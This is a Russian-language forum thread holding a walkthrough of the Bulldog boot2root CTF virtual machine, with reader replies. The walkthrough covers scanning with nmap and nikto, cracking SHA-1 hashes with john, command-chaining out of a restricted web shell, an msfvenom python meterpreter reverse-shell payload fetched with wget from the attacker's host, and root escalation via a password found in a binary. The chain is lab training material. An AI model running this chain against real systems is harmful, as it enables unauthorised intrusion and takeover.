![]() |
Привет, Antichat! В этот раз я предлагаю рассмотреть методы решения, в рамках CTF, уязвимой VM Bulldog (Boot2Root Challenge)
https://forum.antichat.xyz/attachmen...7712377067.png Скачиваем Bulldog тут Атакующая ОС: Kali Linux 2018.2 Импортируем и запускаем (при запуске, VM сообщает, какой адрес получила по DHCP) затем ищем, где запущен web сервер у VM: https://forum.antichat.xyz/attachmen...7712421288.png Код: Код:
nmap –sV –A 192.168.0.110Переходим на webBulldog: https://forum.antichat.xyz/attachmen...7712462738.png Тут, ничего, заслуживающего внимания я не нашел, подключаем nikto для более подробного анализа сервера: Код: Код:
nikto –h 192.168.0.110Niktoнашел интересную директорию, зайдем осмотреться: https://forum.antichat.xyz/attachmen...7712509386.png Тут интересен вход в Web Shell, но он доступен аутентифицированным пользователям: https://forum.antichat.xyz/attachmen...7712530846.png И список, тех, с кем можно на эту тему поговорить, этим мы заниматься не будем, а заглянем в исходный код страницы: https://forum.antichat.xyz/attachmen...7712542041.png Отлично, это похоже на хэши паролей, проверим тип одного из этих хэшей: Код: Код:
hash-identifierСкорее всего, тип хэша SHA – 1. Приступим к его декодированию, для этого используем john с дефолтными настройками: Код: Код:
john /root/123.txt (тут хэш пароля) –format=RAW-SHA1Имеем в наличии учётные данные пользователя Ник:
Код: Код:
http://192.168.0.110/adminПосле успешной авторизации, можно перейти в Web Shell: Код: Код:
http://192.168.0.110/dev/shell/Шелл настроен таким образом, что выполняются только те команды, список которых нам предоставили. При осмотре были обнаружены интересные моменты, но мы пойдем несколько иным путём. Итак, для выполнения имеем ограниченный список команд и подсказку, что команды выполняются непосредственно на сервере, от имени пользователя и скорее всего, это не Ник, а jango т.к. он там установлен. Этих команд достаточно, да и одной вполне, чтобы сделать так…
Полагаю, что будет дальше понятно. Если мы выполним команду: Код: Код:
whoamiРезультат не радужный, но если сделаем: Код: Код:
pwd | whoamiТеперь, все отрабатывает должным образом. Чтобы избавиться от этого шелла «курильщика» и обзавестись более функциональным, необходимо загрузить полезную нагрузку на сервер, думаю, wget вполне подойдет для этих целей. Берем FatRat или Msfvenom для генерации полезной нагрузки в формате python(это обязательный момент, т.к. это Django) Код: Код:
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.110 lport=4444 > /var/www/html/sh.pyhttps://forum.antichat.xyz/attachmen...7712862829.png Настраиваем handler: https://forum.antichat.xyz/attachmen...7712875919.png Этап загрузки shellскрипта: Код: Код:
pwd | wget http://192.168.0.101:88/sh.pyУбеждаемся, что загрузка прошла успешно: Код: Код:
ls -aДаем права скрипту на запуск: Код: Код:
pwd | chmod 777 sh.pyКод: Код:
python sh.pyРезультат предсказуем: https://forum.antichat.xyz/attachmen...7713010294.png Используем команду: Код: Код:
shellКод: Код:
python -c 'import pty;pty.spawn("/bin/bash")'Переходим в директорию /home/bulldogadmin и смотрим на ее содержимое: Код: Код:
ls –aКод: Код:
cd .hiddenadmindirectoryПриложение, которое мы там обнаружили, позволит нам в дальнейшем получить root права в системе. Для начала можно посмотреть, что там внутри. strings — unix-утилита, применяемая для поиска печатаемых строк в двоичных файлах. Она выводит последовательности печатаемых символов, обнаруженных в заданном файле. Может использоваться для визуального анализа дамп-файлов (core dump) или для отыскания информации о типе файла. Код: Код:
strings customPermissionAppВыделенное мной, напоминает пароль, при запуске этого приложения оно запрашивает пароль пользователя, но мы попробуем этот в качестве универсального. Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе: Код: Код:
cd /home/jango/bulldogТеперь, мы root, зайдем в свою домашнюю директорию и прочитаем файл: Код: Код:
cdНа этом прохождение Bulldog VM можно считать завершенным. Спасибо за внимание. |
Классные статьи, с нетерпением жду новых, с наслалждением повторяю, то, что вы описали!
Хотелось бы задать пару вопросов: как вы отпределили, что из списак пользователей с хэшами нужно брать nik? как вы ищите директорию, в котороый у вас есть права на запись? |
извиняюсь, поторопился, про nik понял: john пароль только от nik-a нашел))
|
Цитата:
|
Цитата:
|
Цитата:
https://forum.antichat.xyz/attachmen...e28309be45.png https://forum.antichat.xyz/attachmen...f46f7c6e51.png Цитата:
|
Кстати, благодаря контейнерам, сегодня взял флаг юзера одной из машин на htb
|
Цитата:
|
Мне удалось также крякнуть хэш sarah. Его пароль: bulldoglover.
Цитата:
Не знаю как вы его открыли, но скопировав в директорию /home/django/bulldog # Почему ты вы на протяжении всей статьи забываете написать букву d Там его открыть не получается. |
у меня ctf зависает когда пытаюсь скачать веном, а после обновления страницы, оно числется в ls , но при запуске скрипта, пишется server error
|
| Время: 01:51 |